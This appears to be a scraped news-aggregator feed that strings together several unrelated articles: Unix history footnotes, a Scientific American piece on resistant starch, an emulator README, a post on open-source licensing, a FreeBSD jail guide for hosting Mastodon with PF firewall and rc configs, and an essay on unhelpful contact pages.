    It begins with an open source core and BSD networking architecture—delivering the capabilities you expect of a UNIX operating system, such as fine-grained multithreading, symmetric multiprocessing, and protected memory.

    […]

    Using the time-tested BSD sockets and TCP/IP stack, this advanced networking architecture ensures compatibility and integration with IP-based networks.

    ↩︎

  7. NNTP eliminated the need for copying entire newsgroup archives to the local disk for access to specific threads on Usenet, which was a distinct improvement over the prevailing UUCP. ↩︎

  8. If you’re thinking, ”didn’t email also exist in 1980?,” you’re right. Email was invented in the 1960s, more than a decade before Usenet. In 1971, First Edition Unix already included the mail command for exchanging messages with other users on the same system. I don’t know when exactly mail , or 2BSD’s Mail , became networked. But every email had to be addressed to a specific person rather than an amorphous group of strangers like Usenet newsgroups. In this way, email remained limited to peer-to-peer communication. ↩︎

  9. An example from a 1983 debate about what did and didn’t count as support for virtual memory:

    Believing Mr. Woods’ claim about System V having virtual memory requires an implementation of “virtual reality.”

    I seriously hope that Mr. Woods’ misunderstanding is not indicative of AT&T’s understanding of the issues. If it is, …

    ↩︎

  10. For example, Joshua Gordon seems to have used “online” in its original sense in June 1984 on net.micro :

    I’m running on a “partitioned” system right now: an altos-586 running XENIX with, yes, a 10-meg disk. Indeed, there is not a heck of a lot of room on here (I have the development package); only a few man pages (mostly for stuff I got on the net, and a few pieces of local stuff); it is somewhat of a nuisance, but I can certainly understand a company partitioning the system. Even without the development package, ten megs is not much.

    and I’ve stripped the thing myself even more (got rid of spell and its froofraw; chucked out useless phototypesetting utilities; that sort of thing) so I can keep at least a few days news online at a time.

    Likewise did John Sellens of the University of Waterloo in January 1985:

    I need a copy of the DIF (Data Interchange Format) standard. We have written to the clearing house, but want it as soon as possible.

    If you have it already online, I would appreciate it if you could mail me a copy.

    Andy Glew of Gould Electronics mentioned this in September 1987 on comp.unix.wizards as one of the benefits of spending money on a PC:

    But seriously, on a home computer you don’t have the hassle of having to ask permission to do something , or of becoming root without asking permission and then getting yelled at because you tread on somebody’s toes. You can make your own decisions as to what is important enough to keep online, and what should be deleted, or backed of to tape or floppy. You have floppies, which are a much more convenient storage medium than tape for reasonably sized modules (even when you have more than 400 floppies, like I do).

    Even as late as in March 1988, Ric Messier of Lyndon State College reported on comp.unix.wizards that Unix was lacking “online help,” unlike the IBM systems he had used:

    Now, you can all go to your corners and start flaming me if you like but I haven’t seen anything in UNIX yet (particularly its speed) that would convert me. As for its documentation, which I have seen others talk about, it is absolutely ATROCIOUS . And there is almost NO online help, unlike IBM’s FULL-SCREEN online help about anything you could possibly need to know. As of yet, I haven’t had much chance to play with anything serious in the way of scripts or command languages on Unix or VMS but I can tell you that what I have seen endears me even more to IBM’s Rexx.

    In the replies, David H. Wolfskill differentiated between manual pages that were just “online” and those that were stored on a server:

    It was about yet another variant implementation of UNIX from IBM; naturally it is different from all others that have been offered so far. It is called ”IBM/4.3” – a port of BSD4.3 for the Reduced Technology :-) PC. It seems quite interesting; it seems to be based on some of the work done at CMU for Andrew (and some of that code is part of IBM/4.3).

    […]

    At least IBM/4.3 – unlike the 370-based flavor(s) of UNIX that IBM offers – can have the “man” pages online…. (Of course, with IBM/4.3, you’d probably have them on a server.)

    Some articles made an explicit distinction made between “online” and “available via a network connection.” For example, Mark Reynolds of Adaptive Optics Associates inquired about RFCs that described SMTP in December 1985 on net.wanted :

    I would like to get a hold of copies of

    RFC 821 “Simple Mail Transfer Protocol” RFC 822 “Standard for the Format of Arpa Internet Text Messages”

    Are there online copies of this that can be accessed via USENET ( we are not an ARPA site ) ?

    Similarly, Karl Nyberg of USC’s Information Sciences Institute wrote in February 1986 on net.lang.ada :

    Since I have had several requests for this recently, I have checked, and found that there is an online copy of the Reference Manual here on ISIF. The files may be found in the directory ps:<ada-lsn> , and are listed as anxi si-rm-*.. They appear to be somewhat dated (the latest write date is February 83), and have a number of disclaimers concerning the preliminary nature of the document, etc. For those of you on the internet, you can use Anonymous Ftp to transfer these files and review them. For those of you not on the internet, please don’t ask to have them mailed - they’re huge! Perhaps I will work out a mechanism for making some (small) quantity of tapes if interest warrants, and I can find the time.

    ↩︎

  11. A 1967 price list showed the cheapest PDP-10 configuration at $110,000. ↩︎

  12. The Computer History Museum lists the price as a range : $120,000 to $160,000. I am taking the lower bound of this range as a guesstimate for the introductory price. The VAX-11/780 was a popular model that was sold for a number of years. So it is conceivable that the introductory price was higher. ↩︎

  13. As Mark Horton was quoted in 1985:

    In the second place, what’s really happening here is that these binaries are PDP-11 binaries (that’s what V6 and V7 ran on) which are run in VAX compatibility mode (the VAX hardware supports such a thing) using a program called /usr/games/lib/compat and a front end to open the files.

    ↩︎

  14. The first thing that Bill Stewart mentioned about the Korn shell in November 1984 on net.unix-wizards was compatibility:

    It is (almost) totally upward compatible from /bin/sh (the Bourne Shell). This means that /bin/sh scripts that used to work still work, and you don’t have to relearn everything like you would if you switch to csh.

    ↩︎

  15. Ken Greer summarized his changes in October 1983 on net.sources :

    The following code enhances the Berkeley C shell to do command and file name recognition and completion. The code is limited to a new module and a hook into sh.lex.c. Also included is a manual update “newshell”.

    I’ve had the file name completion code running for years. Thanx go to Mike Ellis of Fairchild A.I. Labs for adding command recogition/completion.

    This version is for 4.1 BSD. If the 4.2 shell is any different and this requires any change I’ll repost.

    ↩︎

  16. Anderson and Anderson’s 1986 The UNIX™ C Shell Field Guide wrote ( Section 1.6, page 23 ):

    The C shell was originally designed on a large machine , where system resources and memory were not at a premium. It executes slowly in many small computer implementations. However, as low-cost computers become more powerful and the cost of memory decreases, this will become less of an issue.

    A couple years earlier, in June 1984, Geoff Kuenning shared this opinion on the C shell as a regular user:

    Apparently some people have come to the conclusion that I think csh is the greatest thing ever. Let me say this right now:

    csh *** S T I N K S *** !!!

    It is inconsistent, ugly, badly human-engineered, inconvenient, slow to start up scripts , buggy, and full of nasty surprises. It also happens to be the shell I use for interaction and for scripts. For interaction, the explanation is simple: aliases and history. For scripts, I learned how to write csh scripts (and it was PAINFUL) because that was the shell I knew how to use, and it never occurred to me that sh might be better for scripts even though csh is a better interactive shell.

    ↩︎

  17. SunOS descended from 4.2BSD. HP-UX, Xenix, IRIX, and A/UX descended from System V. NeXTSTEP used a Mach kernel with code from 4.3BSD-Tahoe and 4.3BSD-Reno, preview releases of the later 4.4BSD. ↩︎

  18. In the late 1970s and the early 1980s, in the years after the 780 was introduced, there was no commonly understood way of characterizing its performance. Joel S. Emer of DEC and Douglas W. Clark of Princeton wrote in 1999:

    In particular, while the VAX-11/780 , which was introduced in 1978, was probably the preeminent timesharing machine on university campuses at that time, very little was known about how it worked or exactly what its performance was.

    (They dated the 780 to 1978 but the Computer History Wiki traces the original announcement to DEC’s shareholder meeting in 1977.) ↩︎

  19. I used the rbenchmark library for these measurements. For example, benchmark(write(1:10000, "/tmp/junk")) reported that it took 1.404 seconds to execute 100 replications. The per-replication execution time was 1.404 × 1000 / 100 = 14.04 milliseconds. ↩︎

  20. The benchmarked R expression was m <- matrix(scan("/tmp/junk"), 100, 100) . In S, the counterpart of write() was read() , but in R, it is scan() . ↩︎

  21. MicroGnuEmacs and JOVE are still maintained today. They are packaged as mg and jove by Debian. ↩︎

  22. Dave B. Johnson explained:

    For programs made with “cc” (without running “ld” explicitly), Berkeley 4.1BSD DOES (implicitly) guarantee a zero byte at address 0. The fact that you had problems with this in porting a locally written C program from Unix 4.1 to VMS/Eunice is a bug in Eunice, not a problem with Unix. 4.1BSD crt0.o ALWAYS has a zero register save mask in it and is ALWAYS loaded at address 0 by “cc”. Crt0 is written in assembler and has an explicit “.word 0x0000” for a register save mask. In addition, the value of the register save mask in crt0 has no affect on saving registers, since the Unix kernel does not “call” the program, but rather jumps directly into it after the register save mask. Saving the registers is not necessary since there is nowhere to return to abover crt0. In writing our Unix emulator Phoenix, I have been very careful of details like this which cause Unix programs to break. Phoenix will run almost any Unix program under VMS unmodified, even those that depend on undocumented details of the Unix environment such as this.

    ↩︎

  23. At UKC, we have user populations of 600-700 and have totally replaced the password file by a binary file with some integral number of bytes per user. This means that random access can be used to access an individual entry. Other keys to the password file (such as login name and in our case the user’s system id) are abstracted to a set of very small files which are kept in uid order - these files can be opened and searched very easily.

    For compatibility purposes we generate /etc/passwd every night (with no passwords) and passwords are never printed even in their encrypted form.

    ↩︎

  24. The modified version of sudo listed Clifford Spencer, Phil Betchel, Gretchen Phillips, John LoVerso, and Gworek himself as the authors. ↩︎

12 Days of Shell

Hacker News
12days.cmdchallenge.com
2025-12-08 10:13:07
Comments...

State of Elixir 2025 - Community Survey Results

Lobsters
elixir-hub.com
2025-12-08 10:11:52
Comments...

Why Leftover Pizza Might Be Healthier

Hacker News
www.scientificamerican.com
2025-12-08 10:03:13
Comments...
Original Article

Researchers have discovered that cooling starchy foods—from pizza to rice—creates “resistant starch,” a carb that behaves like fiber and alters your blood sugar response

This video is part of “ Innovations In: Type 1 Diabetes ,” an editorially independent special report that was produced with financial support from Vertex .

Tom Lum: On the surface, this may look like your garden-variety Internet fun fact, the kind that you half remember and try to retell at a party, like ...


On supporting science journalism

If you're enjoying this article, consider supporting our award-winning journalism by subscribing . By purchasing a subscription you are helping to ensure the future of impactful stories about the discoveries and ideas shaping our world today.


[ Lum pretends to be a guest at a party. He is holding a slice of pizza and talking over music. ]

Lum: Did you know I read somewhere that leftover pizza is actually better for—uh—so how do you know Lauren?

But the secret is that this is just the surface of the fact, and the deeper we go, the more fun and weirder the science gets.

Because your first thought on hearing this is probably “Why?” Why is leftover pizza healthier for me? And the answer has to do with what happens when you cool the delicious crust. When you cool a pizza to below 40 degrees Fahrenheit, some of the starches in the dough will start to mingle together to form these long chains called resistant starches.

They resist digestion, and another word for a carbohydrate that resists digestion is fiber! And even if you reheat the pizza, the chains stay intact, so your body doesn’t break them down to sugar. They mostly pass through.

This could help reduce blood sugar spikes for people with diabetes or people who just need more fiber for a healthier gut. And this seems to work for a lot of starches, like rice, pasta, potatoes—even beans and lentils. Heating then cooling the starch changes its properties. It’s like tempering chocolate or forging a stronger steel.

But we can go even deeper into this fun fact because another question you might have is “How?” How did scientists study, analyze, and figure this out? And for that, we need to go to the actual papers.

And this is where you’ll find electron microscope photographs of old rice, showing these long starchy fibers forming and then sticking around through “simulated digestion.” And you’ll also find studies on humans to try to measure these health changes, like this one where brave participants had to be at the lab at 6 A.M. to eat old rice for science, which they had to do so that nothing else they ate that day interfered with their measurements.

This study also measured how long participants were chewing the rice, which may seem like overkill until they point out digestion starts in the mouth. And it’s this clever attention to detail that is the most important part because that’s how you get the fun fact.

Like, humans have been eating food the entire time humans have existed, but the way it interacts with our body is so complex that we’ve only just learned that apparently our fridge is a forge for fiber. And I think that and the details of the study are so much more interesting than the fun fact. It just might not be the best at parties.

[ Lum pretends to be a guest at a party again. ]

Lum: Hi, it’s Tom. Did you know digestion starts at the mouth?

It’s Time to Stand Up for Science

If you enjoyed this article, I’d like to ask for your support. Scientific American has served as an advocate for science and industry for 180 years, and right now may be the most critical moment in that two-century history.

I’ve been a Scientific American subscriber since I was 12 years old, and it helped shape the way I look at the world. SciAm always educates and delights me, and inspires a sense of awe for our vast, beautiful universe. I hope it does that for you, too.

If you subscribe to Scientific American , you help ensure that our coverage is centered on meaningful research and discovery; that we have the resources to report on the decisions that threaten labs across the U.S.; and that we support both budding and working scientists at a time when the value of science itself too often goes unrecognized.

In return, you get essential news, captivating podcasts , brilliant infographics, can't-miss newsletters , must-watch videos, challenging games , and the science world's best writing and reporting. You can even gift someone a subscription .

There has never been a more important time for us to stand up and show why science matters. I hope you’ll support us in that mission.

Einstein: NewtonOS running on other operating systems

Hacker News
github.com
2025-12-08 09:42:04
Comments...
Original Article

Einstein is a NewtonOS emulator.

CI macOS (Cocoa) CI macOS (FLTK) CI Ubuntu CI Windows (FLTK) Language grade: C/C++

Einstein officially runs on macOS, iOS, and Ubuntu Linux with partial support for Android, Raspberry Pi, and Windows.

A Newton ROM file is required to run Einstein. We cannot distribute the ROM file. If you own a Newton device, you may be able to dump your own ROM file from it. See Dumping The Rom for more information.

Click here for downloads and more information

Once you have Einstein up and running, refer to the user manual .

Screenshot

Commoning open-source versus growth-hacking open-source

Lobsters
garagehq.deuxfleurs.fr
2025-12-08 09:32:37
Comments...
Original Article

Facing recent events in the software-defined storage community, we would like to highlight that not all open-source projects choose an open-source license for the same reasons. Some open-source projects appear to be designed for "growth-hacking" with an "expensive license exit", whereas others are designed as "commons" where all the stakeholders benefiting from the project are taking care of the software while protecting their business or activity. As the creators of Garage, we believe in the latter vision of a "commoning open-source". We made sure, from the beginning, that any new development on Garage will always be released under the same license. Read more to understand our vision of the legal implications of software licensing.


Some would say open-source is in crisis: even if the OSI definition of an open-source license has proved its robustness over time, it says nothing about software re-licensing. However, over the past ten years, re-licensing of projects originally published under an OSI-compatible license has become a common occurrence. For users, investing in the deployment of a given software is a long-term plan. It is often costly, risky, and time-consuming to swap a component in a stack, and users can easily feel locked-in once they pick a project or a vendor. As a result, open-source now feels inherently suspicious : it appears more and more as a kind of free "trial" or "beta" version, prior to a company switching to a more lucrative economic model by imposing more restrictive license and aggressive pricing to "extract" the value of their acquired user base.

But not all projects share this goal, and that's why we think the community should differentiate between growth-hacking open-source and commoning open-source . With growth-hacking open-source , the goal is to ease adoption and community building at the beginning of the project, before pivoting to a more traditional, proprietary software approach. With commoning open-source , different stakeholders with a similar problem invest engineering time together to create a solution.

One major way to differentiate between growth-hacking and commoning open-source is to look at the business model of the company behind the project and ask: is selling licenses for this product core to their business? Will it be in the future? If the answer is yes, then, you are most probably facing a growth-hacking open-source project. In the case of Garage, there is no one selling licenses, and no "pro" version. The software is a building block for Deuxfleurs ' static web and email hosting. We have a common ground to share the development effort with people working on different projects, with similar requirements. Hence we consider Garage to be commoning open-source .

But promises are not enough: we have been deceived many times in the past. That's why we wanted to integrate this commoning open-source approach into our licensing strategy. We wanted to address the risks of re-licensing by making it impossible. How?

It is possible to re-license software if one of these two conditions is met:

  • absence of a "share-alike" clause (also called "copyleft" or "viral effect");
  • ownership of the contributed code is given to a single entity under a CLA (Contributor License Agreement).

So, to build a true commoning open-source project, your software must have the following properties:

  • have a license that is OSI-compliant ;
  • have a share-alike clause ;
  • contributors are not required to sign a CLA or transfer ownership of their code.

In this case, you are assured that all future developments will be made available under the same license . If you wanted to change the license of the project, you would need to ask every person who contributed to it for permission, or rewrite/remove their contribution. This is generally an arduous task, and it only becomes harder the more people contribute to the project. In other words, as the amount of contributors increases, the safer the project is from being easily re-licensed. This is one reason why Linux has been so successful in the long term.

Note that, in this context, it is not possible to provide a "business license" for the project. This would require a single entity to own the entire software, which we must prevent in order to avoid any re-licensing "rug pulls"! The mechanism used to provide a business license is also what the growth-hacking strategy relies on; both are a form of re-licensing.

In our case, Garage is licensed under the AGPLv3, without any CLA. Some companies fear that AGPLv3 is "too viral" and may "contaminate" their proprietary or business-related applications.

This fear may originate from the Google Anti-AGPL policy , which dictates that any AGPL software must be avoided within Google. As Google developers copy all third-party source code into their single repository and build it internally, they cannot be sure that Google's code will not become "contaminated" by any AGPL software during compilation. As long as you are not following this "mono-repo" path, either by using our compiled binaries or by separating Garage code from your proprietary code during compilation, there is no risk for your business . We know that many companies have adopted a dual-licensing model of AGPL and enterprise licenses, and have threatened companies with AGPL compliance complaints in order to sell more enterprise license. That is not our case: we have no license to sell. Of course law isn't code, it is interpreted by humans. What we have presented is our interpretation of AGPL, a vision we are not alone to share. Unfortunately we can't force your lawyers to trust us. We are aware that we don't have the same reach as Google, but we hope that in the end, truth and reason will prevail over what we see as licensing misconceptions...

In conclusion, commoning open-source provides the Garage project with:

  • stability over time as it ensures that future development will always be released under the same license;
  • peace of mind for your business or activity as the "share-alike" clause only applies to code that is compiled at the same time as Garage, not to code or processes interacting with Garage APIs.

What are you doing this week?

Lobsters
lobste.rs
2025-12-08 09:16:50
What are you doing this week? Feel free to share! Keep in mind it’s OK to do nothing at all, too....
Original Article

What are you doing this week? Feel free to share!

Keep in mind it’s OK to do nothing at all, too.

Migrating burningboard.net Mastodon instance to a Multi-Jail FreeBSD Setup

Lobsters
blog.hofstede.it
2025-12-08 09:02:49
Comments...
Original Article

Over the last few weeks, I’ve been working on migrating our Mastodon instance burningboard.net from its current Linux host to a modular FreeBSD jail-based setup powered by BastilleBSD .

This post walks through the architecture and design rationale of my new multi-jail Mastodon system, with aggressive separation of concerns, centralized firewalling, and a fully dual-stack network design.

Acknowledgements

This work is based on the excellent post by Stefano Marinelli :

Installing Mastodon on a FreeBSD jail”

Stefano’s article inspired me to try Mastodon on FreeBSD. My implementation takes that foundation and extends it for a more maintainable, production-ready architecture.

Design Goals

The motivation behind this move:

  1. Central PF firewall – all filtering, NAT , and routing are handled by the host only. Jails see a clean, local L2 view - no PF inside jails, no double NAT .
  2. Separation of concerns – every jail runs exactly one functional service:
    • nginx — reverse proxy + TLS termination
    • mastodonweb — Puma / Rails web backend
    • mastodonsidekiq — background jobs
    • database — PostgreSQL and Valkey (Redis fork)
  3. Host‑managed source – Mastodon source tree shared via nullfs between web and sidekiq jails. Common .env.production , shared dependencies, single codebase to maintain.
  4. Clean dual‑stack (IPv4 + IPv6) – every component visible under both protocols; no NAT66 or translation hacks.
  5. Predictable networking – each functional group lives on its own bridge with private address space.

Jail and Network Overview

Example address plan (using RFC 5737 and 3849 documentation spaces):

Jail Purpose IPv4 IPv6
nginx Reverse proxy 192.0.2.13 2001:db8:8000::13
mastodonweb Rails backend 198.51.100.9 2001:db8:9000::9
mastodonsidekiq Workers 198.51.100.8 2001:db8:b000::8
database PostgreSQL + Valkey 198.51.100.6 2001:db8:a000::6
Host “burningboard.example.net” 203.0.113.1 2001:db8::f3d1

Each functional bucket gets its own bridge(4) interface on the host ( bastille0 .. bastille3 ) and its own /24 and /64 subnet.
Jails are created and attached to the corresponding bridge.

Schematic diagram

[ Internet ]
     |
     v
 [ PF Host ]
     ├── bridge0 — nginx (192.0.2.13 / 2001:db8:8000::13)
     ├── bridge1 — mastodonweb (198.51.100.9 / 2001:db8:9000::9)
     ├── bridge2 — database (198.51.100.6 / 2001:db8:a000::6)
     └── bridge3 — sidekiq (198.51.100.8 / 2001:db8:b000::8)

With the address plan established, the next step is creating the individual jails and assigning virtual network interfaces.

Jail Creation and Per‑Jail Configuration

Each jail was created directly through Bastille using VNET support, attaching it to its respective bridge.
For example, creating the nginx frontend jail on the bastille0 bridge:

bastille create -B nginx 14.3-RELEASE 192.0.2.13 bastille0

Bastille automatically provisions a VNET interface inside the jail ( vnet0 ) and associates it with the corresponding bridge on the host.
Inside each jail, the /etc/rc.conf defines its own network interface, IPv4/IPv6 addresses, default routes, and any service daemons enabled for that jail.

Example configuration for the database jail (substituted with documentation addresses):

ifconfig_e0b_database_name="vnet0"
ifconfig_vnet0="inet 198.51.100.6 netmask 255.255.255.0"
ifconfig_vnet0_ipv6="inet6 2001:db8:a000::6/64"
ifconfig_vnet0_descr="database jail interface on bastille2"
defaultrouter="198.51.100.1"
ipv6_defaultrouter="2001:db8:a000::1"
syslogd_flags="-ss"
sendmail_enable="NO"
sendmail_submit_enable="NO"
sendmail_outbound_enable="NO"
sendmail_msp_queue_enable="NO"
cron_flags="-J 60"
valkey_enable="YES"
postgresql_enable="YES"

Each jail is therefore a fully self‑contained FreeBSD environment with native rc(8) configuration, its own routing table, and service definition. Bastille’s role ends at boot‑time network attachment - the rest is standard FreeBSD administration.

Host /etc/rc.conf

Below is a simplified version of the host configuration that ties everything together.
Each jail bridge subnet is assigned both IPv4 and IPv6 space; the host acts as gateway.

# Basic host config
hostname="burningboard.example.net"
keymap="us.kbd"

# Networking
ifconfig_vtnet0="inet 203.0.113.1 netmask 255.255.255.255"
ifconfig_vtnet0_ipv6="inet6 2001:db8::f3d1/64"
defaultrouter=="203.0.113.254"
ipv6_defaultrouter="2001:db8::1"

# Bridges for jails
cloned_interfaces="bridge0 bridge1 bridge2 bridge3"
ifconfig_bridge0_name="bastille0"
ifconfig_bridge1_name="bastille1"
ifconfig_bridge2_name="bastille2"
ifconfig_bridge3_name="bastille3"

# Bridge interfaces for individual networks

# Frontend (nginx)
ifconfig_bastille0="inet 192.0.2.1/24"
ifconfig_bastille0_ipv6="inet6 2001:db8:8000::1/64"

# Mastodon Web (Rails / Puma)
ifconfig_bastille1="inet 198.51.100.1/24"
ifconfig_bastille1_ipv6="inet6 2001:db8:9000::1/64"

# Database
ifconfig_bastille2="inet 198.51.100.2/24"
ifconfig_bastille2_ipv6="inet6 2001:db8:a000::1/64"

# Sidekiq (workers)
ifconfig_bastille3="inet 198.51.100.3/24"
ifconfig_bastille3_ipv6="inet6 2001:db8:b000::1/64"

gateway_enable="YES"
ipv6_gateway_enable="YES"

# Services
pf_enable="YES"
pflog_enable="YES"
bastille_enable="YES"
zfs_enable="YES"
sshd_enable="YES"
ntpd_enable="YES"
ntpd_sync_on_start="YES"

This provides proper L3 separation for each functional group.
In this layout, bastille0 → frontend, bastille1 → app, bastille2 DB , bastille3 → worker pool.

/etc/pf.conf

The host firewall serves the dual purpose of NAT gateway and service ingress controller.

Below is an anonymized but structurally identical configuration.

# --- Macros ---
ext_if = "vtnet0"
jail_net = "198.51.100.0/20"
jail_net6 = "2001:db8:8000::/64"

host_ipv6 = "2001:db8::f3d1"
frontend_v4 = "192.0.2.13"
frontend_v6 = "2001:db8:8000::13"

# Trusted management networks (example)
trusted_v4 = "{ 203.0.113.42, 192.0.2.222 }"
trusted_v6 = "{ 2001:db8:beef::/64 }"

table <bruteforce> persist

set skip on lo0
set block-policy drop
set loginterface $ext_if

scrub in all fragment reassemble
scrub out all random-id max-mss 1500

# --- NAT ---
# Jails -> egress internet (IPv4)
nat on $ext_if inet from $jail_net to any -> ($ext_if)

# --- Port redirection ---
# Incoming HTTP/HTTPS -> nginx jail
rdr on $ext_if inet  proto tcp to ($ext_if) port {80,443} -> $frontend_v4
rdr on $ext_if inet6 proto tcp to $host_ipv6 port {80,443} -> $frontend_v6

# --- Filtering policy ---

# Default deny (log for audit)
block in log all
block out log all

# Allow existing stateful flows out
pass out all keep state

# Allow management SSH (example port 30822) only from trusted subnets
pass in quick on $ext_if proto tcp from $trusted_v4 to ($ext_if) port 30822 \
    flags S/SA keep state (max-src-conn 5, max-src-conn-rate 3/30, overload <bruteforce> flush global)

pass in quick on $ext_if inet6 proto tcp from $trusted_v6 to $host_ipv6 port 30822 \
    flags S/SA keep state (max-src-conn 5, max-src-conn-rate 3/30, overload <bruteforce> flush global)

# Block all other SSH
block in quick on $ext_if proto tcp to any port 30822 label "ssh_blocked"

# ICMP/ICMPv6 essentials
pass in inet proto icmp icmp-type { echoreq, unreach }
pass in inet6 proto ipv6-icmp icmp6-type { echoreq, echorep, neighbrsol, neighbradv, toobig, timex, paramprob }

# Inter-jail traffic
# nginx -> mastodonweb
pass in quick on bastille0 proto tcp from 192.0.2.13 to 198.51.100.9 port {3000,4000} keep state
pass in quick on bastille0 proto tcp from 2001:db8:8000::13 to 2001:db8:9000::9 port {3000,4000} keep state

# mastodonweb -> database (Postgres + Valkey)
pass in quick on bastille1 proto tcp from 198.51.100.9 to 198.51.100.6 port {5432,6379} keep state
pass in quick on bastille1 proto tcp from 2001:db8:9000::9 to 2001:db8:a000::6 port {5432,6379} keep state

# sidekiq -> database
pass in quick on bastille3 proto tcp from 198.51.100.8 to 198.51.100.6 port {5432,6379} keep state
pass in quick on bastille3 proto tcp from 2001:db8:b000::8 to 2001:db8:a000::6 port {5432,6379} keep state

# Optional: temporary egress blocking during testing
block in quick on { bastille0, bastille1, bastille2, bastille3 } from $jail_net to any
block in quick on { bastille0, bastille1, bastille2, bastille3 } inet6 from $jail_net6 to any

# External access
pass in quick on $ext_if inet  proto tcp to $frontend_v4 port {80,443} keep state
pass in quick on $ext_if inet6 proto tcp to $frontend_v6 port {80,443} keep state

This PF configuration centralizes control at the host. The jails have no firewall logic - just clean IP connectivity.

Shared Source Design

Both mastodonweb and mastodonsidekiq jails mount /usr/local/mastodon from the host:

/usr/local/mastodon -> /usr/local/bastille/jails/mastodonweb/root/usr/home/mastodon

/usr/local/mastodon -> /usr/local/bastille/jails/mastodonsidekiq/root/usr/home/mastodon

Example fstab entry:

/usr/local/mastodon /usr/local/bastille/jails/mastodonweb/root/usr/home/mastodon nullfs rw 0 0

That way, only one source tree needs updates after a git pull or bundle/yarn operation. The jails simply see the current state of that directory.

Logs and tmp directories are symlinked to /var/log/mastodon and /var/tmp/mastodon inside each jail for persistence and cleanup.

Service Boot Integration

Each Mastodon jail defines lightweight /usr/local/etc/rc.d scripts:

#!/bin/sh
# PROVIDE: mastodon_web
# KEYWORD: shutdown

. /etc/rc.subr

name="mastodon_web"
rcvar=mastodon_web_enable
pidfile="/var/run/mastodon/${name}.pid"

start_cmd="mastodon_web_start"
stop_cmd="mastodon_web_stop"

mastodon_web_start() {
    mkdir -p /var/run/mastodon
    chown mastodon:mastodon /var/run/mastodon
    su mastodon -c "export PATH=/usr/local/bin:/usr/bin:/bin; \
        export RAILS_ENV=production; export PORT=3000; \
        cd /home/mastodon/live && \
        /usr/sbin/daemon -T ${name} -P /var/run/mastodon/${name}_supervisor.pid \
        -p /var/run/mastodon/${name}.pid -f -S -r \
        /usr/local/bin/bundle exec puma -C config/puma.rb"
}

mastodon_web_stop() {
    kill -9 `cat /var/run/mastodon/${name}_supervisor.pid` 2>/dev/null
    kill -15 `cat /var/run/mastodon/${name}.pid` 2>/dev/null
}

load_rc_config $name
run_rc_command "$1"

Equivalent scripts exist for mastodon_streaming and the Sidekiq worker.

Everything integrates seamlessly with FreeBSD’s native service management:

service mastodon_web start
service mastodon_streaming restart
service mastodonsidekiq status

No Docker, no systemd, no exotic process supervisors.


Why It Matters

The resulting system is simple, observable, and robust:

  • Firewall rules are centralized and auditable.
  • Each jail is a clean service container (pure FreeBSD primitives, no overlay complexity).
  • IPv4/IPv6 connectivity is symmetrical and clear.
  • Source and configs are under full administrator control, not hidden in containers.

It’s also easy to snapshot with ZFS or promote new releases jail-by-jail using Bastille’s clone/deploy model.

Summary

In short:

  • Host does PF , routing, NAT , bridges
  • Each jail has exactly one purpose
  • Source code lives once on the host
  • Dual-stack networking, no translation
  • Everything FreeBSD-native

This structure makes it easy to reason about - each moving part has one job.

That’s how I like my infrastructure: boringly reliable.

References

The f*** off contact page

Hacker News
www.nicchan.me
2025-12-08 08:57:19
Comments...
Original Article

Many years ago, I had a client that sold a service. They weren’t a design agency, but for the sake of anonymity, we’ll just call them a design agency. Let us say that their core offering was a full-service design package, but they also made a substantial part of their income from doing smaller tasks related to their primary offering. These kind of services included smaller tasks like one-off campaigns or newsletter designs; tasks that their customers may very well be able to do on their own, but the prospect of freeing up some time by by offloading it to an expert was a tempting offer for many of their customers, and made up a significant chunk of their revenue.

We were hired to do a complete redesign of their site from the ground up. The process went smoothly at first, all the wireframes were approved without issue, but when it came to the design phase, we began to hit walls. For example, they would stumble across sites that they liked and wanted to depart from the agreed-upon wireframes in order to implement a similar design.

The problem was, they were thinking about their inspiration sites from an aesthetic point of view, not from a user experience perspective. Their decisions were coming from a place of ‘we like the balance of imagery and text in this page’ and not ‘we think this design will achieve the intended goal of the page.’ Now, you know me, I love a good singular gilded lily , but the client had unwittingly stumbled across a trap, they had fallen in love with what I call a “Fuck off contact page.”

What the fuck is a ‘fuck off contact page?’

A “fuck off contact page” is what a company throws together when they actually don’t want anyone to contact them at all. They are usually found on the websites of million or billion dollar companies, likely Software-as-a-service (SaaS) companies that are trying to reduce the amount of money they spend on support by carefully hiding the real support channels behind login walls. These companies tend to offer multiple tiers of support, with enterprise customers having a customer success manager who they can call on this ancient device we call phones, whereas the lower-paying customers may have to wrangle various in-app ticket mechanisms. If you solve your own problem by reading the knowledge base, then this is a win for the company. They don’t want to hear from you, they want you to fuck off.

Two mobile wireframes. On the left, the wireframe has a large heading that says Contact, and a contact form with two fields, 'Name' and 'How can we help you?' below it. On the right, the mockup has a large heading that says Contact, and three icons with text underneath. In order, they are 'Check out our knowledge base', 'Visit us in person' and 'Reach out to our sales team.'
These are recreated versions of the wireframes that we did for the site, the original contact form version of the page is on the left, and the ‘fuck off contact page’ is on the right. In actuality, the ‘fuck off contact page’ was even more ‘fuck off’ due to the whitespace and a large hero image. This meant the only option that ‘talk to the sales team’, the only option that would put you in touch with a human anytime soon, was at the very bottom of the page, long after some people would stop scrolling.

In other words, this is entirely inappropriate for the kind of service-based agency that our client was. The billion dollar SaaS company wants to reduce the number of incoming inquiries, and is hoping to weed out anyone who is not determined to contact them by giving them unsatisfying options. The service company wants to show how helpful they are and cultivate leads. These are fundamentally opposing goals.

Let me explain further. I’m not sure about you, but as a user, when I see a button that says ‘talk to our sales team’, I treat the entire region of the page with the same trepidation as nuclear waste. The page is now a no-go zone, and I try to exit as quickly as possible, knowing that whatever my original query was, I’m going to have to solve it unassisted. Seeing as this is a company who makes money off of convincing people to let them handle the easy stuff, adding friction to this key part of their sales funnel just doesn’t feel like a winning strategy.

How the fuck did you convince them to change their minds?

Try as we might, we couldn’t. In all honesty, we probably could have done more in order to talk them out of it, but the project had gone in such a way where we were focused on trying to talk the client out of changing other things that would drastically increase design or development time beyond the initial scope. In other words, we were too busy putting out other fires. This re-designed contact page, as certain as we were of how bad of an idea it was, wasn’t a fire, so we let it through.

The project finished on time, everyone got paid, and the client was happy with the end result, but I still felt very disappointed in the whole thing. While I personally believe in the value of good design, I also believe there are a lot of smoke-and-mirrors in the industry, and I hated the thought that I might have inadvertently contributed to it. Even if the client is happy, it didn’t meet my internal bar for a quality product worth sticking my name on, and I feel like I’ve let down both the client and the end-users.

How the fuck do I avoid being in a position where I’m asked to implement a ‘fuck off contact page’?

